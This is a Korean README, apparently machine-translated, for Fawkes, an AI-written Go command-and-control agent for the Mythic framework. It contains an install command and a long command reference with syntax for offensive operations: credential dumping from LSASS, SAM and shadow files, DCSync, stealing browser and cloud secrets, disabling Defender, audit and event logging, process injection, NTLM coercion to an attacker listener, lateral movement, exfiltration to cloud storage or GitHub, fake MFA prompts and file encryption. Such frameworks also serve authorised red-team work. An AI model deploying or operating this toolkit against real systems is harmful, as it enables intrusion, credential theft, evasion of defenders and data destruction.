
fawkes — Updated!
Fawkes는 AI에 의해 독점적으로 작성된 golang Mythic C2 에이전트입니다.
Fawkes Mythic C2 에이전트
Fawkes는 완전히 바이브 코딩된 Mythic C2 에이전트입니다. '궁금하네'에서 시작해 목표로 발전했습니다. 제 목표는 이 에이전트를 위해 단 한 줄의 코드도 작성하지 않고, 오직 프롬프트로만 생성하는 것입니다.
원래 직접 에이전트를 작성해보려 했지만, 예제 컨테이너를 클론하고, mythic 문서를 읽고, 개발 시리즈 유튜브 동영상을 보고, Merlin이나 Freyja 같은 다른 에이전트의 코드를 복사한 후, 제 에이전트를 개발할 시간이 없다고 결심했습니다. 하지만 프롬프트라면 시간을 낼 수 있습니다.
Fawkes는 크로스 플랫폼 기능을 갖춘 golang 기반 에이전트입니다. Windows(EXE, DLL 및 셸코드 페이로드), Linux(ELF 바이너리 및 공유 라이브러리), macOS (Intel 및 Apple Silicon용 Mach-O 바이너리)를 지원합니다. 총 213개 명령어: 113개 크로스 플랫폼, 82개 Windows 전용, 21개 Unix 전용, 11개 Linux 전용, 6개 macOS 전용(일부 명령어는 스크린샷과 같이 하나의 사용자용 이름으로 플랫폼별 구현을 공유합니다). 내부 피벗을 위한 HTTP 이그레스 및 TCP 피어-투-피어(P2P) 연결을 지원합니다.
Installation
To install Fawkes, you'll need Mythic installed on a remote computer. You can find installation instructions for Mythic at the Mythic project page.
From the Mythic install directory:``` ./mythic-cli install github https://github.com/galoryber/fawkes
## 명령어 빠른 참조Command | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Active Directory 개체 DACL 읽기/수정 (ACE 추가/제거, DCSync 권한 부여, GenericAll, 백업/복원). 크로스 플랫폼 (T1222.001, T1098, T1003.006).
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | AD 인증서 서비스 열거, 취약한 템플릿 찾기 (ESC1-ESC4, DCOM을 통한 ESC6), DCOM을 통해 인증서 요청하여 ESC1/ESC6 익스플로잇, 또는 자동 익스플로잇 (찾기 → 분석 → 요청 체인). 크로스 플랫폼 (T1649).
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Windows 전용)** NTFS 대체 데이터 스트림 관리 — 숨겨진 데이터 스트림 쓰기, 읽기, 나열 또는 삭제. 텍스트 및 16진수 인코딩된 바이너리 지원. MITRE T1564.004.
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | 포렌식 실행 아티팩트 조회 및 정리. Windows: Shimcache. Linux: recently-used.xbel, 썸네일, Tracker. macOS: 최근 항목, KnowledgeC, 격리 (T1070.004).
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Windows 전용)** 원격 프로세스 주입. `-method apc` (기본값)는 NtQueueApcThread를 통해 경고 가능한 스레드에 셸코드를 큐에 넣습니다 (`ts`를 사용하여 찾기). `-method hwbp`는 DebugActiveProcess를 통해 연결하고 대상 API(기본값 `ntdll!NtDelayExecution`)에 DR0 하드웨어 중단점을 설정하며, 중단점이 발생하면 Rip을 셸코드로 리디렉션합니다 — TID 불필요, APC 큐 없음, CreateRemoteThread 없음 (T1055.004, T1055).
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | 마이크에서 오디오를 녹음하고 WAV 파일 업로드. Windows (waveIn), Linux (arecord/parecord), macOS (rec/ffmpeg). 크로스 플랫폼 (T1123).
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Windows 전용)** Windows 감사 정책 조회 및 수정. 민감한 작업 전에 보안 이벤트 로깅 비활성화. Stealth 모드는 탐지에 중요한 하위 범주를 비활성화합니다. AuditQuerySystemPolicy API 사용 (T1562.002).
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Windows 전용)** 스푸핑된 프로세스 인수로 명령 실행. Sysmon 이벤트 ID 1 및 EDR 명령줄 원격 측정 우회 (T1564.010).
arp | `arp [-ip <subnet>]` 또는 `arp -action spoof -target <IP> -gateway <IP>` | ARP 테이블 표시 (필터링 가능) 또는 MITM 위치 선정을 위한 ARP 캐시 중독 (T1557.002). Spoof: Linux 전용, 정리 시 복원.
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | 사전 인증이 필요 없는 계정에 대해 AS-REP 티켓을 요청하고 오프라인 크래킹을 위해 hashcat 형식으로 해시 추출. LDAP을 통해 자동 열거. 크로스 플랫폼 (T1558.004).
av-detect | `av-detect [-deep true]` | 실행 중인 프로세스를 130개 이상의 시그니처 데이터베이스와 비교하여 설치된 AV/EDR/보안 제품 탐지. `--deep` 사용 시 커널 모듈, systemd 유닛 및 구성 디렉토리도 검사하여 설치되었지만 실행 중이 아닌 제품 확인 (Linux). 제품, 공급업체, 유형 및 PID 보고. 크로스 플랫폼.
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Windows 전용)** 가장 가까운 반환(C3) 명령어로 점프하여 함수를 자동으로 패치. AMSI/ETW 우회에 유용.
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | 데이터 인코딩 도구 키트: base64, XOR (문자열/16진수 키 사용), 16진수, ROT13, URL 퍼센트 인코딩, Caesar 암호. 모두 파일 I/O 지원. 크로스 플랫폼 (T1132.001, T1140, T1027).
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Windows 전용)** BITS 전송 작업을 관리하여 지속성 및 은밀한 파일 다운로드. 작업 생성, 일시 중단, 재개, 완료 및 알림 명령 설정하여 지속성 유지. 작업은 재부팅 후에도 유지됨 (T1197).
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Chromium, Firefox 및 Safari에서 브라우저 데이터 수집. 기록, 자동 채우기, 북마크, 다운로드는 크로스 플랫폼. 비밀번호: Chromium (DPAPI/Keychain/GNOME Keyring), Firefox (key4.db NSS 복호화), Safari (macOS 키체인). Firefox 쿠키는 모든 플랫폼. MITRE T1555.003, T1217.
cat | `cat <file>` 또는 `cat -path <file> -start N -end N -number true` | 선택적 줄 범위, 번호 매기기 및 5MB 크기 보호와 함께 파일 내용 표시.
cd | `cd <directory>` | 현재 작업 디렉토리 변경.
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | 파일/디렉토리 권한을 8진수(755, 644) 또는 기호(+x, u+rw, go-w) 표기법으로 수정. 재귀 지원. 크로스 플랫폼 (T1222).
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Linux/macOS 전용)** 사용자 이름/UID 및 그룹 이름/GID로 파일/디렉토리 소유권 변경. 재귀 지원 (T1222).
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | 원격 호스트의 TLS 인증서 검사 — CA, 자체 서명 인증서, 만료, SAN, TLS 버전, 암호 제품군 및 SHA256 지문 식별. 크로스 플랫폼 (T1590.001).
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Windows 전용)** Windows 인증서 저장소를 열거하여 코드 서명 인증서, 클라이언트 인증 인증서 및 개인 키 찾기. CurrentUser 및 LocalMachine 검색. MITRE T1552.004, T1649.
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | 클립보드 읽기/쓰기 또는 자격 증명 패턴 탐지로 변경 사항을 지속적으로 모니터링. 크로스 플랫폼 (T1115).
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | 클라우드 메타데이터, 자격 증명 추출, IAM 열거, 스토리지 열거, 지속성 및 비밀 저장소 액세스. storage/aws-s3/azure-blob/gcp-gcs: 버킷/컨테이너 열거 (샘플 개체 포함). aws-ssm: 복호화와 함께 SSM 파라미터 저장소. azure-keyvault: 관리 ID를 통한 Key Vault 비밀. gcp-secrets: 서비스 계정을 통한 Secret Manager. aws-persist/azure-persist: 수명이 긴 액세스 키/앱 등록 생성. 자동 탐지. IMDSv2. 크로스 플랫폼 (T1552.005, T1580, T1530, T1098.001).
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | 아카이브 생성, 나열, 추출, 스테이징 또는 유출. stage: AES-256-GCM으로 암호화. exfil: Mythic으로 전송. exfil-https: 사전 서명된 URL로 S3/Azure/GCS에 청크 업로드, 사용자 정의 헤더, 지터 포함. exfil-github: GitHub Contents API를 통해 유출. 크로스 플랫폼 (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001).
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-FSRVP (ShadowCoerce)를 통한 NTLM 인증 강제. 대상이 공격자 수신기에 인증하도록 강제. 패스더해시 지원. 크로스 플랫폼 (T1187).
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | 런타임 에이전트 구성 보기/수정 또는 에이전트 바이너리 자체 업데이트. `show`/`set`: sleep, jitter, 종료 날짜, 근무 시간. `update`: Mythic에서 새 페이로드 다운로드, 확인, 실행 및 현재 에이전트 종료. 크로스 플랫폼 (T1105).
container-detect | `container-detect` | 컨테이너 런타임 및 환경 탐지 (Docker, K8s, LXC, Podman, WSL). Docker 소켓 및 K8s 서비스 계정과 같은 탈출 벡터 확인. 크로스 플랫폼 (T1082, T1497.001).
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(Linux 전용)** 컨테이너 탈출 + K8s 작업 — Docker 소켓, cgroup, nsenter, 호스트 장치 마운트. K8s: 파드/서비스 열거, 시크릿 읽기, **k8s-rbac**: ClusterRole/RoleBinding 스윕 + 권한 상승 경로 점수 매기기 (crit/warn/info), **k8s-nodes**: 클러스터 노드 공격 표면(kubelet/OS/커널/CIDR/taints/roles), **k8s-etcd**: 컨트롤 플레인 파드 인수에서 etcd 클라이언트 엔드포인트 검색 + 엔드포인트당 인증되지 않은 `/version` 프로브 (인증되지 않은 읽기 = 전체 클러스터 손상), API를 통해 파드 배포/실행. **클러스터 외부**: `-kubeconfig`는 도난당한 kubeconfig 파일을 허용하여 비컨테이너 호스트에서 K8s 액세스 (토큰 + 클라이언트 인증서 인증) (T1611, T1610, T1613, T1552.007, T1069.003, T1087.004).
cp | `cp <source> <destination>` | 파일을 소스에서 대상으로 복사.
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | 대상 호스트에서 SMB, WinRM 및 LDAP에 대한 자격 증명 테스트. `verify-all`은 모든 저장된 자격 증명을 발견된 호스트에 대해 병렬로 테스트. 크로스 플랫폼 (T1110.001, T1078).
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | 자격 증명 수집: 섀도 해시(Unix), 클라우드 구성(AWS/GCP/Azure/K8s), 애플리케이션 시크릿, 유출된 비밀번호/토큰/API 키에 대한 셸 기록 스캔, PowerShell 기록 + 환경 변수 + RDP(Windows), M365 OAuth/JWT 토큰(TokenBroker/Teams/Outlook에서, Windows), **browser-live**: 실행 중인 Chrome/Edge에서 Chrome DevTools Protocol(CDP)을 통해 라이브 쿠키, localStorage, sessionStorage 도용. **dump-all**: 자동화된 하위 작업 체인 — hashdump + lsa-secrets + cred-harvest를 모두 병렬로 실행(Windows). 크로스 플랫폼 (T1552, T1003.008, T1528, T1539).
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | 기본 자격 증명 대화 상자 표시, OAuth 장치 코드 흐름 남용 또는 MFA 코드 피싱. dialog: macOS AppleScript, Windows CredUI, Linux zenity/kdialog. device-code: Azure AD OAuth 장치 코드 흐름을 통한 토큰 캡처. mfa-phish: TOTP 코드를 캡처하기 위한 가짜 MFA 확인 대화 상자. 크로스 플랫폼 (T1056.002, T1621, T1111).
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | HTTP 요청 + 파일 업로드 유출 (T1567). S3 사전 서명된 URL, Azure SAS, 일반 엔드포인트에 업로드. 크로스 플랫폼 (T1106, T1567.002).
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | 파일 줄에서 필드 또는 문자 범위 추출. 사용자 정의 구분 기호, 범위 사양. 크로스 플랫폼 (T1083).
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | 플랫폼 자격 증명 저장소 열거. Windows: 자격 증명 관리자 + 자격 증명 보관소 (CredEnumerateW, vaultcli.dll). Linux: GNOME Keyring (secret-tool), KDE KWallet, NetworkManager WiFi/VPN 비밀번호, GNOME Online Accounts. macOS: 키체인 항목(일반 + 인터넷 비밀번호), WiFi 비밀번호. `list`=메타데이터, `dump`=시크릿 포함, `vault`=Windows 전용. MITRE T1555.004, T1555.001.
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Windows 전용)** Defender 관리 — 상태, 제외, 위협, 실시간 보호 활성화/비활성화. MITRE T1562.001.
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Windows 전용)** DPAPI blob 복호화 (CryptUnprotectData), 마스터 키 열거, Chrome/Edge 암호화 키 추출. MITRE T1555.003/T1555.005.
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Windows 전용)** COM을 통해 Outlook 사서함 액세스. 메시지 수 계산, 키워드로 검색, 인덱스로 읽기, 폴더 나열. MITRE T1114.001.
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Windows 전용)** DCOM을 통해 원격 호스트에서 명령 실행, 파일 업로드 또는 스테이징 후 실행. `check`는 RPC/DCOM 사전 요구 사항을 확인. upload: certutil/PowerShell 스테이징을 통해 파일 전송. exec-staged: 업로드 후 실행 및 자동 정리. 여섯 가지 COM 개체. MITRE T1021.003, T1570.
debug-detect | `debug-detect` | 연결된 디버거, 분석 도구 및 계측 탐지. Windows: IsDebuggerPresent, NtQueryInformationProcess, PEB, DR 레지스터. Linux: TracerPid, LD_PRELOAD, 메모리 맵(Frida/Valgrind/sanitizers), VM/샌드박스, eBPF 모니터링(Falco/Tetragon/Tracee), auditd 프레임워크, ptrace 범위. macOS: sysctl P_TRACED, DYLD_INSERT_LIBRARIES, VM 탐지(sysctl), 보안 제품(EDR/AV), 샌드박스/분석 환경. 모두: 디버거 프로세스 스캔 (T1497.001).
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync — LSASS를 건드리지 않고 DRS를 통해 AD 자격 증명 복제. `domain-takeover`는 kerberoast + asrep-roast + dcsync krbtgt/Administrator를 병렬로 실행. 크로스 플랫폼 (T1003.006).
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | 선택적 장치, 마운트 지점 또는 파일 시스템 유형 필터링으로 파일 시스템 디스크 공간 사용량 보고. 크로스 플랫폼 (T1082).
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | 두 파일을 비교하고 통합 diff 형식으로 차이점 표시. LCS 기반 알고리즘, 구성 가능한 컨텍스트 줄. 크로스 플랫폼 (T1083).
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | DNS 열거 — 호스트 확인, 레코드 쿼리, DC 검색, 영역 전송, 와일드카드 탐지, DNS-over-HTTPS 은밀한 확인, DNS 유출. 크로스 플랫폼 (T1018, T1071.004, T1048.001).
du | `du -path <file_or_dir> [-max_depth <n>]` | 파일 및 디렉토리의 디스크 사용량 보고. 하위 디렉토리별 크기 분석, 가장 큰 순서로 정렬. 크로스 플랫폼 (T1083).
drivers | `drivers [-filter <name>]` | 로드된 커널 드라이버/모듈 열거. Windows: EnumDeviceDrivers, Linux: /proc/modules, macOS: kext 열거. 크로스 플랫폼 (T1082).
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | LDAP을 통한 AD 비밀번호/잠금 정책 및 FGPP 열거. 스프레이 안전 권장 사항. 크로스 플랫폼 (T1201).
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(Linux/macOS 전용)** 지속성을 위한 cron 작업 나열, 추가 또는 제거. 원시 cron 항목 또는 프로그램+일정 구문 지원.
download | `download <path>` 또는 `download {"path": "/file", "compress": true}` | 대상에서 파일 또는 디렉토리를 다운로드. 1MB 이상의 파일은 자동으로 gzip 압축 (구성 가능). 디렉토리는 자동으로 zip 압축. SHA256 해시 확인. 청크 전송, 파일 브라우저 통합.
drives | `drives` | 사용 가능한 드라이브/볼륨 및 마운트된 파일 시스템을 유형, 레이블/장치, 여유/전체 공간과 함께 나열.
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Windows 전용)** 모든 프로세스에서 액세스 토큰 열거. `list`는 각 프로세스에 대해 PID/사용자/무결성/세션을 표시. `unique`는 사용자별로 그룹화하고 프로세스 수를 표시. SeDebugPrivilege 자동 활성화 (T1134, T1057).
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | AES-256-GCM 암호화/복호화 (T1486) + 대상 파일 손상 (T1565). corrupt: 파일 헤더를 임의 데이터로 덮어씁니다. 파괴적 작업에는 안전 게이트 필요.
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | 에이전트 프로세스의 환경 변수 나열, 가져오기, 설정 또는 해제. 변경 사항은 하위 프로세스에 상속됨. 크로스 플랫폼.
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | 프로세스 환경 변수를 스캔하여 유출된 자격 증명, API 키 및 시크릿 탐지. 클라우드, 데이터베이스, CI/CD 및 암호화폐 범주에 걸친 35개 이상의 탐지 패턴. Linux + macOS (T1057, T1552.001).
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows, Linux, macOS)** 감사/원격 측정 하위 시스템 조작. Windows: ETW 세션/공급자 중지/블라인드/블라인드-올/활성화/패치/복원. Linux: auditd 규칙, journald 지우기/회전, syslog 구성, SIEM 에이전트 탐지. macOS: 통합 로깅, 보안 에이전트 탐지. (T1562, T1070.002).
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | 시스템 이벤트 로그 관리. Windows: wevtapi.dll 채널. Linux: journald 유닛 및 syslog 파일. macOS: Unified Logging (os_log) 하위 시스템/프로세스. 소스 나열, 이벤트 쿼리, 지우기/진공 로그, 정보 가져오기. MITRE T1070.001, T1562.002.
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | 메모리에서 네이티브 바이너리 실행. Linux: memfd_create (디스크 쓰기 없음). macOS: 임시 파일에 ad-hoc 코드 서명. Windows: 임시 파일 후 즉시 정리. 모든 플랫폼이 실행 후 아티팩트 제거. MITRE T1620.
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | 현재 프로세스에서 셸코드 실행. 런타임 복호화와 함께 XOR/AES-256-CTR 인코딩된 셸코드 지원 (T1027). Windows: VirtualAlloc + CreateThread. Linux: mmap (기본값) 또는 memfd_create. macOS: MAP_JIT (ARM64) 또는 mmap. 크로스 플랫폼 (T1059.006, T1620).
exit | `exit` | 에이전트 종료 작업.
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | 파일 속성 가져오기 또는 설정 — hidden, readonly, system (Windows); immutable, append, nodump (Linux); hidden, immutable (macOS). -attrs를 생략하면 현재 플래그를 봅니다. 크로스 플랫폼 (T1564.001, T1222).
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | 매직 바이트로 파일 유형 식별 (35개 이상의 시그니처). 단일 파일 또는 디렉토리 스캔. 실행 파일, 아카이브, 문서, 이미지, 데이터베이스, 미디어 등을 탐지. 크로스 플랫폼 (T1083).
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | 이름, 크기, 날짜, 권한 또는 소유자별로 파일 검색. SUID 바이너리, 전 세계 쓰기 가능 파일, 특정 사용자가 소유한 파일 찾기. 크로스 플랫폼 (T1083).
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | SMB (C$ 공유) 및/또는 WinRM을 통해 자격 증명이 관리자 액세스 권한이 있는 호스트를 검색하여 찾기. **auto-move**: 자동화된 하위 작업 체인 — 관리자 호스트를 찾은 다음 psexec/wmi를 통해 각 호스트로 측면 이동. CIDR, IP 범위, PTH, 병렬 스캔 지원 (T1021.002, T1021.006).
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows, macOS, Linux)** 방화벽 규칙 관리. Windows: COM API. macOS: ALF + pf 앵커 규칙. Linux: iptables/nftables (자동 탐지). macOS 패킷 필터링을 위한 PF 앵커 지원. MITRE T1562.004.
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows, macOS, Linux)** 권한/역량 나열. Windows: 토큰 권한 (활성화/비활성화/제거 가능). Linux: 프로세스 역량 (CapEff/CapPrm) + SELinux/AppArmor 컨텍스트. macOS: entitlements, 샌드박스, 그룹 (T1134.002).
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows, Linux, macOS)** 권한 상승. Windows: 토큰 도용 또는 DCOM potato를 통한 SYSTEM. Linux: 상승 벡터 확인 (SUID, sudo, 역량, docker) 또는 sudo 상승 시도. macOS: 벡터 확인, sudo 또는 osascript 관리자 프롬프트 (T1134, T1548).
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | SYSVOL에서 암호화된 cpassword 속성이 있는 GPP XML 파일을 검색하고 게시된 AES 키를 사용하여 복호화 (MS14-025). SMB를 통한 크로스 플랫폼 (T1552.006).
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | LDAP을 통해 그룹 정책 개체 열거 — GPO 나열, 강제 적용과 함께 링크 매핑, 흥미로운 CSE 설정 찾기. 크로스 플랫폼 (T1615).
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | 정규식 패턴으로 파일 내용 검색. 확장자 필터링, 컨텍스트 줄 및 바이너리 파일 건너뛰기와 함께 재귀 디렉토리 검색. 크로스 플랫폼 (T1083, T1552.001).
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | 파일 해시 계산 (MD5, SHA-1, SHA-256, SHA-512). 단일 파일 또는 글로브 패턴 필터링 및 깊이 제어가 있는 디렉토리. 크로스 플랫폼 (T1083).
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | xxd 스타일의 16진수+ASCII 형식으로 파일 내용 표시. 특정 영역 검사를 위한 오프셋/길이 제어, 최대 4096바이트. 크로스 플랫폼 (T1005).
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows, Linux, macOS)** 프로세스에서 열린 핸들/파일 설명자 열거. Windows: NtQuerySystemInformation. Linux: /proc/pid/fd. macOS: lsof (T1057, T1082).
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows, Linux, macOS)** 로컬 계정 암호 해시 추출. Windows: SAM 레지스트리에서 NTLM 해시 (SYSTEM 필요); **insitu**: 인-프로세스 LSA API를 통해 활성 로그온 세션 열거 (관리자 필요); **insitu-full**: PROCESS_VM_READ로 lsass.exe 열기, lsasrv.dll에서 LogonSessionList 시그스캔, 연결 리스트 탐색, 각 노드에 KIWI_MSV1_0_LIST_63 레이아웃 오버레이하여 LUID/UserName/Domain/AuthPackage/LogonType/Credentials-포인터 추출, credentials_ptr에서 AuthPackage별 자격 증명 체인을 탐색하여 각 KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC 봉투 캡처, LsaInitializeProtectedMemory_Internal 시그스캔하여 IV / h3DesKey / hAesKey BCrypt 키 전역 변수 및 원시 16바이트 IV / 24바이트 3DES / 32바이트 AES 키 바이트 복구, AES-256-CFB / 3DES-CBC로 캡처된 모든 암호문 blob 복호화 (blob당 `len % 8`로 선택), KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEW 레이아웃을 오버레이하여 NT/LM/SHA 해시 추출 — `username:rid:lm:nt:::` 형식으로 출력되어 dump-action ProcessResponse 자격 증명 보관소 후크와 호환 (Phase 2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c, Win10 21H2 — Win11 23H2, 관리자 필요). Linux: /etc/shadow 해시 (해시 유형 식별 포함, root 필요). macOS: 사용자 plist에서 Directory Services PBKDF2 해시 (root 필요). **auto-spray**: 해시를 덤프한 다음 cred-check를 통해 대상 호스트에 자동으로 스프레이. MITRE T1003.002, T1003.008.
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | 셸/애플리케이션 명령 기록 파일 나열 또는 지우기. bash, zsh, fish, PowerShell, python, mysql 등 포함. 크로스 플랫폼 (T1070.003).
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | 프로세스 할로잉 — 일시 중단된 프로세스 생성, 셸코드 쓰기, 실행 리디렉션. **Windows:** CREATE_SUSPENDED + SetThreadContext, PPID 스푸핑, DLL 차단, PEB 장식 (ImagePath/CommandLine/WindowTitle 마스킹). **Linux (amd64/arm64):** PTRACE_TRACEME + /proc/mem 쓰기. **macOS:** ptrace + Mach VM API (task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect) — root 필요. MITRE T1055.012, T1036.
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | IDE 구성 열거 — VS Code 확장, 원격 SSH 호스트, 최근 프로젝트, 시크릿이 포함된 설정. JetBrains 데이터 소스, 배포 서버, 최근 프로젝트. 크로스 플랫폼 (T1005, T1083).
ifconfig | `ifconfig` | 주소, MAC, MTU 및 플래그와 함께 네트워크 인터페이스 나열. 크로스 플랫폼 (Windows/Linux/macOS).
inline-assembly | `inline-assembly` | **(Windows 전용)** CLR을 사용하여 메모리에서 .NET 어셈블리 실행. 명령줄 인수 지원. AMSI 패치 워크플로우를 위해 `start-clr`를 먼저 사용하세요.
inline-execute | `inline-execute` | **(Windows 전용)** 메모리에서 Beacon Object File (BOF/COFF) 실행. 모든 인수 유형 지원: 문자열 (z), 와이드 문자열 (Z), 정수 (i), 짧은 정수 (s), 바이너리 (b).
reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **(Windows 전용)** 메모리에서 네이티브 PE (DLL)를 현재 프로세스로 로드. 섹션 복사, 재배치 수정, 가져오기 해결 및 DllMain 호출을 포함한 수동 PE 매핑. 선택적으로 내보낸 함수 호출 (T1620).
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **(Linux 전용)** Linux 방화벽 열거 및 iptables/nftables/ufw를 통한 관리. IP 포워딩, 연결 추적, 규칙 나열 및 수정. MITRE T1562.004.
jobkill | `jobkill -id <task-uuid>` | 작업 ID로 실행 중인 작업 중지. `jobs`를 사용하여 실행 중인 작업 나열. 크로스 플랫폼.
jobs | `jobs` | 작업 ID, 명령 이름 및 지속 시간과 함께 현재 실행 중인 작업 나열. 크로스 플랫폼.
